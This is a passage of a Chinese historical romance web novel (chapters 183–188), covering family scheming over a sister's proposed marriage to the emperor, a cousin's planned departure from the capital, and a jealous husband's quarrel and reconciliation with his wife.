“唔…热…”嘤咛声从唇瓣泄出,姜璎想踢被子,被赵咎连忙压住,这要是着凉怎么办?他掀起被衾,散了散热气,姜璎才算是好些,又安分地睡去。
赵咎心里冷哼一声:之前怎么没嫌热?还不是感情淡了,找的借口!
烛光微弱,又隔着幔帐,只能隐约看见一点熟睡的侧脸。
白里透粉、恬静柔美。
看着看着,赵咎自己就莫名其妙消了气。
他没忍住轻轻碰了一下姜璎的脸颊,好可爱。好可爱的阿池。
亲一下算了。
他慢慢低头,浅啄一口。
跟做贼似的,紧抱着怀里的珍宝。
翌日一早,姜璎派人跟王氏说了一声,领着姜珞回了一趟陆家。
萧止柔想了一晚上明惠帝去赵家的原因,也没敢往立姜珞为皇后上头想,正想派人去接姜珞回来问话,就见一个婆子进来禀报。
“女君,大姑娘和二姑娘回来了。”
什么?
萧止柔眉心一跳,心中有种隐隐不安,回门才没多久,阿池这会儿过来,难道……她知道了?
“姨母。”
雨丝蒙蒙,一众仆婢婆子打着伞,生怕主子淋湿半点。
萧止柔迎上前,“下着雨呢,怎么过来了?”又吩咐底下人,“快去,煮两碗姜枣茶来。”
萧止柔摸了摸姜璎的手,是热的,这才松了口气,嗔怪道:“天气凉
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了,也不穿件披风。”
姜璎笑道:“不要紧。”
姜珞被冷落在一边,也不在意,她还生怕萧止柔注意到她,恨不得从头到脚都埋进地里。
“浓浓倒是日渐丰腴。”萧止柔笑着看她一眼,“没少吃吧?”
“丰腴好过弱不禁风。”姜璎搭话,扶着萧止柔的手臂,一边往里走,一边对姜珞道,“我同姨母说话,你下去帮我们沏茶吧。”
姜珞如蒙大赦,忙不迭溜了。
萧止柔这下越发肯定心中猜测,早知道姜珞不争气,什么都往外吐。好在也就是对姜璎这样。
萧止柔握着姜璎的手,一同坐下,柔声道:“阿池,你今日过来,可是有什么事儿?”
姜璎眼眸微垂,似乎下定了什么决心,道:“姨母,我跟赵咎过不下去了,我要和离,带浓浓回天水姜氏。”
“什么?”
一时间,分不清愕然还是惊喜,险些冲昏头脑。
萧止柔脸上的笑挂不住,“这、这也太突然了。”
“是有些突然。”姜璎低下了头,“姨母,我知道我很任性…您骂我吧。”
“我骂你做什么?”萧止柔连忙把孩子搂到怀里,急急问道,“乖宝,是不是赵咎做了什么对不起你的事?他欺负你了?你告诉姨母,如果真是那样,我——”
“他背着我撮合陛下跟浓浓。”
萧止柔神情凝固一瞬。
姜璎似未察觉,“昨日,陛下亲自登门,向我求娶浓浓。”
萧止柔眼中迸发惊喜。
姜璎道:“我没答应。”
萧止柔:“……”
这悬着的心彻底**。
她深吸一口气,勉强笑道:“陛下亲自求娶,是她的福气,这有什么不好的?”
姜璎摇头道:“我觉得不好,浓浓自然是听我的。陛下非浓浓良配,赵咎还背着我推波助澜,实在令人心寒。”
“姨母,我不想和他过了。我想离开这里,回天水姜氏。”
如果是换了其他事,萧止柔恐怕早就答应下来,并且乐见其成。
但,明惠帝亲自登门求娶。
这是一个多么好的机会啊!
萧止柔只能劝道:“阿池,赵咎也是为了浓浓考虑,这天底下再没有比皇后还要尊贵的女人了,你别跟他置气…要真不痛快,大不了回来住几日。”
姜璎道:“不行,我不能忍受我身边最亲近的人,背着我做这些事。”
“这……”
“姨母明明不喜欢赵咎,为什么还要劝我?”姜璎转过头来,定定地看着萧止柔,“是不是因为,这件事情,姨母也有参与其中?”
老实人一般不生气,生气起来格外吓人。
萧止柔心一慌,连忙道:“这、这件事情,你阿父也知道!”
姜昀:“……”
放过我吧。
第183章 做主
听到萧止柔的话,姜璎实在没忍住,弯了弯嘴角。
这个浅淡的笑容令原本严肃的气氛有所缓和,她无奈一笑,坦然道:“姨母,我今日过来,并非是为了追究责任。”
说白了,现在追究谁是幕后主使已经没有任何意义。
子不言父过是一回事,作为既得利益者,姜璎也没有资格去指责父亲和姨母。
归根结底,他们的出发点都是为了自己。
“爹爹跟我说过,浓浓本身存在的意义,就是为我付出一切。”
这在大家族里是屡见不鲜、理所应当的现象,尤其重视嫡庶的家族,庶出子女的地位只比奴仆好一点。
名为兄弟姐妹,实为半仆。
千百年来的阶级意识,早就深深扎根在每一个人心里,如青山古树,屹立不倒。
姜璎清楚且十分理解,因为她就是这么过来的。
在永安侯府的那些日子里,她虽顶着“养女”的名头,但实则无人不知,她不过是刘氏思念女儿的替代品。她与奴仆并没有什么两样,既要方方面面、无微不至地照顾刘氏,还要给他们提供各种情绪价值。
哦。后者她没做到位。因为不大会奉承讨好,只知道埋头苦干,所以并不讨喜。
想到这,姜璎脑海浮现赵咎的面容。
好像有点想他了。
他教她读书临帖,明礼识记。
明白的道理越多,越能感觉自己渺小,从而时刻保持清醒的头脑,以及谦逊的态度。
姜璎无意挑战整个社会层面的规则,她做不了名垂青史的大人物,也改变不了大环境。
她只能尽力避免,姜珞走上自己的老路。
心思百转千回,可到嘴边只有那几句话。
“既然大家都觉得浓浓是我的所属物,那我想,我应该有这个话语权来决定她的人生。”
“是。”萧止柔又忙道,“可现在…”
“现在的结果不好吗?姨母是不是想说这个话?”
姜璎认真道:“我觉得不好。”
萧止柔哑然,又有些无奈。
“阿池,姨母不明白,你为什么非要纠结这些无足轻重的事儿。我承认我偏心,可我也没有害姜珞,不是吗?”
“难道在你眼里,中宫之位还配不上她一个小小庶女?非要低嫁,才算是真的疼她爱她?”
“不。我没有想那么多。”
姜璎摇了摇头,停顿片刻,道:“我只是有些不解。”
“依照爹爹和姨母的意思,浓浓生来就是我的半仆,那么我理所当然以为,这个奴仆是属于我的。她是好是坏,是死是活,也应该由我说了算。”
“而不是像现在这样。往小了说,是爹爹和姨母觉得我还小,不懂事,所以事事瞒着我。往大了说……让我害怕。”
最后四个字,轻轻落下。
宛若细小的针尖扎在萧止柔的心口。
她眼眶蓦然红了,紧紧抓着姜璎的手,语速慌乱道:“你、你怕什么呢?姨母是你最亲最亲的人,姨母不会害你的!”
姜璎道:“当初刘氏他们也是这么说的。”
“他们说我爱我,说为我做了多少事情,对我有多大的恩情。然后将身体上的磨难、精神上的压迫统统说成是为我好,我要感恩。没有他们,就没有我。”
萧止柔眼中迸发浓烈恨意。
该死!这群**!
他们都该死!!
姜璎喃喃道:“我一直以为我走出来了,原来没有。我看见浓浓,就像是看见那个还活在永安侯府的自己。”
“是,姨母和父亲不会像刘氏对我一般对待她,可结果好与不好,都改变不了其操控的本质!”
语气蓦地激动起来。
萧止柔见她这样,可谓是心如刀割,当下抱着她哭了起来,“阿池、阿池,你别生气…是姨母做错了。”
姜璎平日里表现的太过寻常,以至于很多人都忘了,她在永安侯府生活了整整十年!
十年啊!足以将一个正常人逼疯,任凭多少心气儿,也都磨灭干净!更不要说,她那个时候还那么小……
萧止柔不禁惶恐起来,她开始回忆自己做的事情,大的小的,对王氏、对姜珞,甚至还有更多见不得人的——
我错了。她想。<
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br>瞳孔失焦一瞬,胸腔气血不断翻涌,仿佛有把刀在里头疯狂绞弄,绞得血肉模糊,连呼吸都带了一抹腥气。
“姨母没错。”姜璎道,她轻抚萧止柔的后背,这个动作让萧止柔想到了萧晞。
她越发的愧疚,泪如雨下。
姜璎低声道:“姜珞生在姜家,长在姜家,享受家族荣耀的同时,自然也该反哺一二。是我妇人之仁。”
姜璎从不缺少自省的心态。
从某种意义上来说,她和明惠帝才是一类人。
她明白自己的缺点,总是习惯设身处地为他人着想。好在挽救及时,为“着想”二字,划上了一道分界线。
线内,是她仅存的为数不多的亲人。
姜璎不知道如何评价长辈们的所作所为,善恶两面,不是一句两句就能说清的。
她也无意做莲,出淤泥而不染,不食人间烟火般高高在上地指责父亲他们。
说白了,她能有现在的一切,都是来自家族的供养。
总不能端起碗吃饭,放下碗骂娘。
“不、不,我做错了。”萧止柔悔恨交加,“我不该…”
“不该让我看见世上黑暗的一面吗?”姜璎半开玩笑道,神情无奈。
“我没有姨母想的那么脆弱。只是,浓浓不一样。你们都说她属于我,哪怕为我付出性命,也理所应当。那么,就让我任性这一回吧。”
“她的一切全由我做主。”
我有的,我要与她共享。
我没有的,也要让她圆满。
姜璎动作轻柔拭去萧止柔脸上的泪,这一刻,她仿佛与十多年前的萧晞重合。
——“阿薇,阿父阿母不在了,我们就是彼此在这个世上唯一的亲人。你要好好活下去。”
姜璎认真道:“阿娘早逝,姨母身子亏损,没了子嗣。到了我们这一辈,我又遭逢意外,流落在外。我想,总该有一个人,替我拥有我没有的东西。”
“比如自由和快乐。”
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补周六更新,这几天内容稍微繁琐了一点,主要就是阿池争取抚养权(bushi)
第184章 外室
今年的雨水格外充沛。
偏厅里,小炉上熬煮的红枣汁伴随着外头哗哗作响的风声,开始逐渐翻滚冒泡。
姜珞举起温热的羊乳,浇入其中,慢慢搅拌。
甜香与奶香碰撞交融,为这场秋雨倍添暖意。
“姨母,姐姐。”她端着两盏红枣羊乳茶走进去,笑容甜蜜的可以用狗腿来形容,“我想着外头下雨,还是用些羊奶的好,羊奶温和滋补,姨母平日里管家辛苦了。”
“我的呢?”姜璎问。
“这儿呢,这儿呢。”姜珞捧过去,殷勤道,“加了红枣汁儿,甜甜的,也不齁嗓子,姐姐吃了早生贵子。”
姜璎:“……”
哪里来的马屁精。
萧止柔嘴角一抽,倒是没像平时那样动辄斥骂姜珞,有了姜璎那番话,她行事总归会顾忌一些。
她们用茶,姜珞就立在一旁,眨巴眨巴眼睛卖乖。
红枣汁中和了奶味,热气腾腾,半盏茶下肚,姜璎就觉得后背隐隐有冒汗的迹象。
“女君,少君过来了。”仆婢禀报道。
“阿祭来了?”萧止柔惊喜道,放下茶盏,看了一眼姜璎。
如果说先前她还有撮合姜璎与袁遗的心思,那么现在…萧止柔在心里叹了口气,经过方才的谈话,她也能看出来姜璎外柔内刚,在某方面固执得不行。
和她大父、母亲,简直是一模一样。
奴仆领着袁遗进来,虽说外男不好入内院,但事有轻重缓急,袁遗又是萧止柔的侄子,平时也都十分守礼,只挑陆宣在家时才过来。
伞下一袭青衫,长身玉立,三分病气难掩隽色。
“姑母。”袁遗看见姜璎也在,脸上露出几分诧异,“阿妹也在。”
“阿兄。”
双方各自见礼。
仆婢上了一盏姜枣茶给袁遗驱寒,红枣汁是姜珞刚才熬剩下的,刚好中和了姜的辛辣,他一脸苦大仇深,皱着脸喝完,忍不住捂着嘴呛了几声。
“我瞧你这身子骨,一日不如一日。”萧止柔面带忧色,“不如让你姑父给你请宫中太医瞧瞧?”
“**病了,不必劳烦姑父。”袁遗笑道,苍白的眉眼因这抹笑容而多了两分鲜活,他抵唇闷咳两声,说起正经事,“再过不久,就是阿父的忌日,我想着还是先回祖宅……”
萧止柔打断道:“别拿这些话蒙我!你阿父忌日少说还有小半年,哪有才来盛京,就急着走的道理?我看你真是发癫了。”
袁遗:“……”
两个表妹都在,他难免有些尴尬。
姜璎凤眸含笑,姜珞则是一阵窃喜。照这样子看,姨母对她态度都算不错了呢!
好骂!
多骂!
“姑母,我是真有事儿…”袁遗陪笑道,“您看我这身体,坐车怎么也得两三个月才能回祖宅,舟车劳顿的,回去又要多修养上几个月,还是早早动身得好。”
再不走,指不定哪天就被老夫人剥光送阿妹床上了。
袁遗心里苦笑。
想起这几日暂住王家,袁老夫人时不时叫他去跟前谈心。
翻来覆去的不外乎是那几句说辞。
“你年纪也不小了,难道还不成亲吗?若没有中意的小娘子,不妨看看你阿妹。”
“别嫌我话说得难听,你这身子骨,袁家又落得如此境地,就算瘦死骆驼比马大,可也终归不好相看亲事。”
“倒不如,先给你阿妹做了外室,左右我瞧着她跟那赵咎不会长久。”
袁遗半夜睡不着,翻来覆去,满脑子“外室”两个字。
是,阿妹貌若天仙,性子又好。
他要能做外室,那也是占了亲戚这层身份的光。
但——祖姑好歹想想他这破身子能不能禁受得住赵咎一拳头啊!
他俩打架,三七开。
赵咎三拳,他头七。
哈哈。
这一点也不好笑。
袁遗想,阿妹要是换个夫婿,别说外室,他连正室也敢争一争,但要是赵咎…他还是算了吧。
指望在赵咎手中扛过三招,还不如指望自己活得久些,
把赵咎熬死他再上位。
袁遗小小提了意见,结果话没说完就被袁老夫**骂没出息!
行行行。
不听小辈言,吃亏在眼前。
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>等袁家最后的独苗苗**了,她就知道后悔了!
“阿兄,你要不再多待一段时日吧。”开口的是姜珞,她下巴微抬,得意洋洋道,“指不定过段时间,我就要成亲了。你喝了我的喜酒再上路也不迟。”
袁遗差点被口水呛到。
什么上路不上路!
这倒霉孩子会不会说话!
“浓浓。”姜璎声音不重。
“我错了!”姜珞立马道,错在哪儿不重要,先认了再说。
“等等——”袁遗反应过来,惊讶道,“姜家已经给浓浓相看好亲事了?”
姜璎道:“还没有,她小孩子胡说的。”
姜珞撅了撅嘴,“姐姐还没答应呢。”
袁遗更加惊讶了,“是哪家的郎君?”
“高家。”
闻言,袁遗一顿闷咳。他捂着嘴,断断续续地咳嗽,苍白的肤色也因情绪激动而染上薄红。
姜珞连忙给他递了杯水,关切道:“阿兄,你可别死啊。”
“……”袁遗静了会儿,很快又爆发出一阵剧烈咳嗽,听着像是要把五脏六肺都咳出来。
“阿向,快去煮碗炖梨来。”萧止柔忙吩咐道,想瞪姜珞,又硬生生忍了下来。
袁遗摆了摆手,面色通红一片。
“不妨事、咳,不妨事…”
高家,以他那个姑父的性子,只怕除了明惠帝,别无他人。
难怪梁家的罪证收集的这么快。袁遗暗道,合着是早就有所准备了。
这盛京不能再待了。
得有多远跑多远才行。
“阿妹昏礼,我怕是不能观礼了。”袁遗虚弱笑笑,目光掠过姜璎,见她眉宇间拢着一抹似有若无的轻愁,心中暗叹。
他起身告辞,姜璎也跟着起来。
“阿兄,我送送你吧。”少女一脸关切,也不等人拒绝,便吩咐香薷取来暖手炉,交到袁遗手中。
“啊…”袁遗只好道,“那就麻烦阿妹了。”
萧止柔颇为惊喜,笑眯眯地看着他们俩。
“哎呀,一家人,说什么麻烦不麻烦的。”
袁遗干笑两声,又是一个想让他做外室的。
第185章 劝告
穿过内院的月洞门,便是长廊。仆婢们收了伞,颇有眼力见的跟主子们保持着一个不远不近的距离。
袁遗试图劝说,“阿妹就送到这吧,外头下着雨,若是不小心着了凉,反倒教我心生愧疚,寝食难安。”
姜璎笑了笑,却是不为所动,“这路还长着呢,我与阿兄多年不见,便是说说话,也是好的。”
袁遗抵着唇闷咳一声,暗忖说话就说话,可不能提有的没的啊。
姜璎见他不吭声,面带关怀:“阿兄才到盛京没几日,怎的就要急着赶回去?我瞧阿兄身子虚弱,还是得请太医好好调养一番才是,这样老夫人和姨母也好放心些。”
温声软语,暖到了人心坎。
袁遗表示心领了,婉拒道:“我一个外男,常住王家也说不过去,反倒劳祖姑和姑母费心,给她们添麻烦。”
“更何况,”他顿了顿,笑道,“盛京虽好,但终究不及故土宜养身心。”
“阿兄说的是。”姜璎听到最后一句,露出若有所思的神情。
袁遗暗暗松了口气,狭长凤眸泛起几分笑意,“上回见面,是为祖姑大寿。还未贺阿妹成婚之喜。”
姜璎微微低头,“阿兄客气了,你我兄妹,何必像外人那样客套。”
眼看距离二门只剩下一段路,袁遗忙道:“就送到这吧…”
“阿兄。”姜璎蓦地出声,止住了步子,袁遗只能被迫跟着停下,用眼神询问她有何要事。
“阿兄思念故土,是人之常情,可我们身为晚辈,也得体谅体谅长辈的良苦用心。”姜璎慢声道,“老夫人和姑母难得见一回阿兄,阿兄不多留一段时日,陪陪他们,岂不是让人伤心?”
袁遗眼巴巴地望着即将逃出生天的出口,就跟被踩了尾巴的壁虎,欲哭无泪。
“阿妹……”
“阿兄,老夫人年事已高,咱们做晚辈的,牺牲一些,彩衣娱亲又何妨?”姜璎语重心长,不看外表,只听语气,还以为是哪家的叛逆郎君,和他那极其早熟懂事的妹妹。
袁遗捂着心口,面色发白,连咳嗽都没力气了。
“我……”
“老夫人一片慈心,阿兄怎能是这般避如蛇蝎的态度?”姜璎叹了口气。
语气中的失望,差点让袁遗一口老血呕出来。
“阿石,你你你!”
你是一颗被墨汁染黑的小石头!
姜璎眨了下眼,袁遗想装晕蒙混过关,又怕控制不好力道,摔地上磕坏脑子,僵持中,门房过来道:“大姑娘,姑爷接您来了。”
“我还有些话没跟阿兄说完,让他在外头等着。”
袁遗一听,虚弱咳嗽道:“怎么能让妹夫久等?闲叙的日子还长着呢,不急这一时,阿妹快去吧。”
他也想走。
姜璎挡在他面前,不解道:“阿兄何必来去匆匆?”
袁遗气若游丝,一脸恳切,“阿妹何必苦苦相留?”
——放我走,我要回家。
——不。
两双极其肖似的凤眸凝视,对峙。
最终还是袁遗倒下阵来。
这颗小石头是怎么做到久不眨眼也不酸涩的?!
“阿妹,为了你好,也为了阿兄我的小命,你就让我走吧。”袁遗苦涩道,企图打感情牌,“我这一身病骨,还不知道能活多久,就算做外室,恐怕也是遭嫌弃的份。”
姜璎:“……”
姜璎严肃道:“阿兄何必妄自菲薄?”
袁遗一愣,呆呆地看着她,“这么说,阿妹愿意收……”
姜璎:“那不行。”
袁遗:“……”
这不行,那不行,想让他**吗?
想让他死就直说!
姜璎或许也意识到自己拒绝得太快太伤人颜面,于是道:“阿兄,你真的不能走。就算要走,也应该断尾求生才是,怎么能轻轻松松,翩然离去?”
袁遗大为震惊,这说的还是人话吗?
再纠缠下去也没意思。
袁遗面色虚弱,冲她招了招手。
姜璎走近,两人只隔不到半臂距离。
“知道那么多,对你没有好处的,小石头。”他揪了揪她脸蛋,要是前梁还在,他们一定会像姑姑姑父那样,青梅竹马、两小无猜。
但是现在嘛,袁家只剩下他一个。
何必再拖累别人呢?
渐急的雨势中,
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声音轻缓而模糊。
“少去王家,离老夫人远一些。你,还有姨母。”
“她们在做什么?”
“嗯…这是一个好问题,但还是不知道的好。”他眨了下眼,松开手,脸颊没有留下任何痕迹。
倒也不是他手下留情,只是赵咎在外头,到时候看见,帮姜璎出气怎么办?
他可打不过啊啊啊!
“浓浓的亲事,也是老夫人授意的吗?”姜璎追问道,被一根手指抵住额头,不许再前进了。
袁遗的手同他的面色一样,是一种常年不见阳光的苍白,指骨如冷玉,不带半分血气。
“不是。”他温温一笑。“但这个结果,她一定非常高兴。”
“那——”
“好了不许说了。”袁遗做了个嘘的动作,修长食指轻轻碰了下唇瓣,冰凉的指腹还残存着一抹不属于他的温暖。
“照顾好自己,也看牢浓浓。”
“若是可以的话,想想法子,让赵咎外放吧。你随他一起去任上。”
哪怕只是县令,也好过在盛京。
袁遗又咳了几声,摆了摆手,“好了不说了,外头雨急,阿妹停步吧。不必再送。”
“哦对了。”
袁遗想起什么,回头,一脸严肃,“若是赵咎养外室,你记得写信跟我说。”
姜璎怔怔地望着他,想笑,又笑不出来。
“阿兄要亲自教训他吗?”
“当然——不是!”
开什么玩笑,他怎么可能打得过赵咎!
袁遗眨了下眼,正经的外表下,难得露出几分俏皮,“他养外室,阿妹也养。我自荐枕席,绝不让阿妹丢面子。”
姜璎:“……”
姜璎:“有道理。那就拜托阿兄,一定要活久一点,再久一点。”
袁遗莞尔一笑,摆了摆手,“不必送了。”
仆从们跟上。
五六把油纸伞徐徐展开,将急雨阻隔在外,护着主子离开。
姜璎轻轻叹了口气,正要派人传话,领赵咎进来,忽然脚底心升起一股寒意。
一抬眸,便对上了对面长廊的目光。
他动了动唇,无声询问:“好看吗?”
第186章 嫉妒
长廊自成一片雨帘,水珠连串,裹挟着湿润的风,不经意地卷起一角藏青色衣袍。
姜璎的目光落在他的衣角。
不过须臾,人就来到面前。
大概是兴师问罪来的。她想。
果不其然。
他挑起嘴角,眼神没有一点笑意,又问了一遍,“好看吗?”
这一回面对面,咬字清晰,足够姜璎听清。
姜璎不光听清,也窥见了他如玉面色下的不平静,像是阴雨天前的乌云,为了迷惑人,还扯了几朵白云做掩饰。
他或许没发现,骤雨倾盆前的气息特别强烈,即便装作若无其事,也并不能掩盖过去。
但在这样较为紧绷的气氛下,姜璎还是不可避免地走了神。
目光游移着,从面前人看似颇有风度实则略微发青的脸色,再到脖颈衣襟,之后一点点往下,落在腰间香囊。
赵咎偏好黛蓝、藏青这类的衣服,偶尔参与围猎,才会换上黑红劲装,箭袖窄腰,十足十的意气风发。
然而,今日下着雨,他也穿了骑射服。
窄袖腕处收紧,腰固玉带钩,就连带扣也镂刻复杂纹饰,分外精美绝伦。佩挂的香囊似乎塞了香草,一抹若有若无的清雅香气缠了过来。
姜璎静静地看着他,垂在身侧的手指蜷缩一瞬,原本听到这暗含质问的语气,她还有些生气,可现在心里竟然只剩下一个念头——赵咎真的很好看。
唇红齿白,挺拔俊美。
珠玉在侧,觉我形秽。
她心不在焉,鼻尖始终萦绕着那股若有若无的清香,像是被毒蝎尾巴上的尖刺扫过,心口蔓延一片密密麻麻的痒意。
“不说话,是心虚默认的意思,还是单纯不想理我?”他冷冷道,终于装不下去,露出内里嫉妒而丑陋的嘴脸,獠牙**,字字刻薄。
“我还以为只有高忱那种蠢货才会上赶着自荐枕席,没想到名门之后,一样寡廉鲜耻。”
“不过,好歹占了个外兄的名头,你要是真喜欢,倒也不必做外室,我可以亲自迎他进来。”
姜璎:“……”
赵咎见她不吭声,一颗心顿时被揉得稀巴烂,闷疼闷疼,嘴上还不饶人,“怎么,高兴得说不出话来了?是没见过我这么大度的正室吧?”
姜璎:“……你偷听人说话就只听两个字的吗?”
赵咎冷笑道:“谁偷听了?我光明正大进来的,站老半天也没见你给半个眼神。”
浓浓的怨气,如有实质,陆府上空估计早已黑云密布。
姜璎心里觉得他可爱。
但没说出来。
她轻轻拉了一下他手指,冰凉冰凉的,还带着些许湿润雨气,也没用多大力,自己就缠了上来,几根手指将人勾缠得很紧。
“既然来了,就跟我去拜见姨母,其他话一会儿回家再说。”
赵咎动了动唇,最终只哼了一声,从鼻腔滚出,像极了“嗯”。
他不应该这么快原谅她。赵咎想。
就当在外面给她点面子,等回去以后,他不会像现在这样好说话了。
萧止柔听说赵咎来了,心里多多少少还是有些遗憾,看得这么严,恐怕袁遗想做外室也没机会。不过面上不显,虽没有多热络,但也亲和关心了几句。
赵咎面子功夫很到位。
两人一来一去,也聊了小半盏茶的功夫。
姜珞偷偷打了个哈欠,起的太早了。
唔,也不知道高忱这会儿在干什么?
好像皇帝都是起的比鸡早、睡得比狗晚。
“姐姐……”姜珞赖到姜璎身边,小小打了个哈欠,眼角渗出泪水,哼哼唧唧地撒娇,“我想回去睡觉了。”
姜璎跪坐得一丝不苟,声音冷酷无情:“不行,回去接着抄族谱。”
“姐姐你怎么这样啊。”
姜珞一下子垮了脸,嘟囔道:“等我做了皇后,我也天天罚人抄族谱!”
姜璎恼得瞪她一眼。
八字都没一撇呢,她就开始想怎么行使皇后的权力了!
“时辰不早了,我一会儿还要去王家,你们回去吧。”萧止柔道,估计是要去跟袁老夫人说这件事。
姜璎眉眼微垂,起身告退。
姜珞屁颠屁颠跟上,想跟姐姐坐一块,但赵咎一个眼风扫过来
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,她只能悻悻然去后头,敢怒不敢言。
“可恶!”怒壮怂人胆,姜珞一进车舆,就把软枕当成赵咎暴揍一顿,“你这个狐媚子!生不出孩子,还敢嚣张跋扈!等我做了皇后,看我怎么收拾你!”
白芨提醒道:“赵九郎君自幼习武,耳力惊人。”
这要是被他听见了。
姜珞吓得连忙捂住嘴,被他听见,回头吹枕边风怎么办?
可恶!她忿忿捶了一下软枕。
不仅气没撒出去,还把自己累着了。
车舆内,夫妻俩谁也没说话。
姜璎思考事情,赵咎则是跟她赌气,一直忍到了回房,房门一关,才发脾气。
“为什么不理我?”他实在无法忍受这样的冷暴力,尤其是长廊里的画面,一再脑海浮现,“你是故意气我的对不对?”
“没有。”姜璎认真道,“我都没看见你。”
赵咎咬着牙,“你让他掐你脸!摸你额头!你们说话还离那么近!”
亲昵的姿态,仿佛一对新婚夫妻。
赵咎没法不生气。
爱让人面目全非,滋长出一种名为“嫉妒”的藤蔓,应该说得庆幸他的理智修养还在,否则,他真恨不得绞杀干净所有靠近姜璎的男人!
这种占有欲从一开始就显露痕迹。
只是后来披上了一层“尊重”的皮,小心再小心,克制再克制,这才水到渠成,浓情蜜意了一段时日。
事实上,只有赵咎自己清楚,他从来不是什么光风霁月的君子。
“我们不是说好的吗?凡事讲究一个公平。”他深吸一口气,试图讲道理,“我洁身自好,你也应该做到,这又不是很难的事情。”
“他是我兄长啊。”姜璎愣了一下,被很快打断。
“就算亲爹也不行!”赵咎厉声道,眼底偏执一闪而逝。
“……”
“因为那句随口一提的娃娃亲?”姜璎后知后觉想起来,姜珞跟她说过,寿宴那日她去搬救兵,跟赵咎提过一嘴娃娃亲的事情。
她没想到,他会为此耿耿于怀许久。
是她疏忽了。姜璎不免懊恼。
第187章 和好
时下尚清谈,不论文人还是士大夫,追求的都是一个洒脱风流,若以情爱挂嘴边,难免遭人耻笑。毕竟上流士族,多得是夫妻各玩各的。
赵咎冷冷看着她,不承认也不反驳,只眼尾洇开一抹嫣红,胜过千言万语。
姜璎立马道:“那是长辈们的玩笑话。”
赵咎不冷不热,“难道他们没有试图往你床上塞人?”
他又不是傻子,察觉不出来。不过是睁一只眼闭一只眼,看破不说破罢了。
姜璎噎了一下,理亏得说不出话。
赵咎在她的事情上一直都很上心,面对姨母这些长辈也是多有退让,甚至对待姜珞比对待自己小侄女还要好。
这么一想,她语气弱了几分,“他们想归他们想,但我一直都有跟阿兄保持距离呀。阿兄也是一样的心思,唯恐牵扯进来,已经打定主意离开盛京了。”
说着轻轻扯了一下赵咎的窄袖,拉近距离的同时不忘解释,“因为我一直逼着他,想从他嘴里知道一些事情,他嫌我烦,才掐我脸。”
“疼么?”
“什么?”姜璎愣了一下,等反应过来时,赵咎已经别过脸。
“不疼的!阿兄没有用力。后面戳我额头,也是不想应付我的追问。”
姜璎忙抓着他的手臂,“你有怨气,我可以理解。所以我今日去陆家,也跟姨母提了这事儿,保证以后绝对不会再发生。”
“你保证?”他轻声问,目光一眨不眨盯着她。
“我保证。”姜璎点头道。
她明确说了“不希望任何人插在她和赵咎之间”。
没点破,但彼此之间都有数。
萧止柔也明白是什么意思,自然而然打消了念头。
她跟袁老夫人不一样,袁老夫人想要一个结合了萧家和袁家血脉的孩子,但萧止柔只希望姜璎平安顺遂。
她看不惯赵咎,一方面因为他是赵堰的儿子,另一方面则是“恶婆婆”的心理,不乐意姜璎眼里心里只有赵咎一个人。
在她看来,赵咎对姜璎的救命之恩不过是赵家欠他们萧家的!所以别想指望她会有什么感恩戴德的心理。
萧晞年轻早逝,萧止柔的良知也随着长姊的尸体一起埋进黄土,当年乍闻噩耗的情景至今还历历在目,仿佛一遍又一遍提醒她是何等无能。
继阿姊之后,她又失去了唯一的外甥。
那是她阿姊留在这世上唯一的骨肉啊!
可想而知,萧止柔在认出姜璎之后有多么激动。
失而复得的珍宝再次回到身边,是无论怎么爱护都不够的。
姜璎能感觉出来,那藏在疼爱表皮下强烈到近乎扭曲的保护欲。
不是万不得已,忍无可忍,她也不会开口制止。
“还生气吗?”姜璎摸了一下他的手,举起来闻了闻,和香囊里的香草是一个味道,最后得出总结,“你好像被腌入味了。”
不识风情。
赵咎睨她一眼,将人带到怀里,温热的掌心捂住姜璎脸颊,淡淡道:“下次不要让别人碰你了。”
“好吧。”姜璎又问,“那你还生气吗?”
问问问,就知道问。
两只眼睛是用来当摆设的吗?
赵咎哼一声,“这次原谅你了,没有下一次。”
姜璎乖乖点头,“好。”
赵咎忍不住道:“你还有什么想说的吗?”
比如他今天的打扮,身上的香气。
她难道没有发现和平时不太一样?
姜璎道:“有的,我想说……”
赵咎正了正色,眼神暗含期待。
“虽然你原谅我了,但我还没有原谅你。”
“???”
赵咎大怒,什么乱七八糟的!
姜璎严肃道:“我知道你今日是借机生事,想浑水摸鱼抵消掉昨日的隐瞒。”
赵咎身体一僵,目光微微游移,假装听不懂。
多读书的坏处体现出来了。
变得一点儿也不好骗。
他决定了,以后晚上还是多做,少看书,还能促进感情。
“当然,最让我生气的,是你不信任我。抓住外室两个字就发脾气、甩脸色。”姜璎问,“你觉得这样合适吗?”
她目光十分严肃,跟审讯犯人似的。
有一种神圣的威严。
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赵咎:“……不合适。”
姜璎这才心满意足,稍稍垫脚亲了他一下,声音不自觉柔软,“那我们就算扯平啦。以后不要再提,好吗?”
赵咎冷冷道:“你觉得我是那种爱翻旧账的人吗。”
“你穿这一身真的很好看。”
一本正经,答非所问。
赵咎低头咬住她嘴唇,手掌往下握住腰肢,轻轻一带,便将人禁锢在怀里。
双唇贴在一块,随着辗转缠磨而愈发黏稠。
“现在才夸我……”他低哼不满。
姜璎被他捧着脸亲,声音含糊,“泥太香惹,把我晕迷糊……唔。”
你太香了,把我熏迷糊了。
赵咎:“……”
真想拿块布给她嘴封起来,说的话没一句是他爱听的。
姜珞一直到晌午才见着姐姐,看见她脖子里若隐若现的红痕,忍不住哇了一声。
“哇你个头!”路过的赵咎给她一记暴栗。
气得姜珞直跳脚,“你打皇后!以下犯上!”
赵咎:“那你报官吧。”
姜璎扶额,真是鸡飞狗跳。
姜珞气完又好了,“姐姐!”她肩膀轻轻晃动,就像一条不断扭动的地龙,扭捏道,“姐姐,你就答应我吧,让我做皇后,答应我好不好?”
“这又不是我说了算的。”
“怎么不是?”姜珞忙不迭把立后诏书拿出来,“高忱都写好了的,只差姐姐一个点头了!”
她撒娇不成就耍赖,抱着姜璎的大腿开始嚎。
“我不管嘛我不管,我就要当皇后——唔!”
“你再嚷嚷,全天下都知道了!”姜璎捂住她嘴,姜珞眨了眨眼睛,挤不出眼泪。
姜璎恼道:“你又不喜欢人家。”
“谁说我不喜欢?”姜珞理直气壮道,“我今日问过姨母了,姨母说,占有欲也是喜欢的一种。就像姨夫对姨母唯命是从,不敢有丝毫二心。我也要高忱对我言听计从!”
“……”
姜珞想了想,“对了姐姐,我能不能进宫一趟?我得先去把粱氏收拾了,免得她趁我不在,欺负高忱。”
第188章 商议
姜珞还没来得及收拾粱氏,就先被姜璎收拾了一顿。
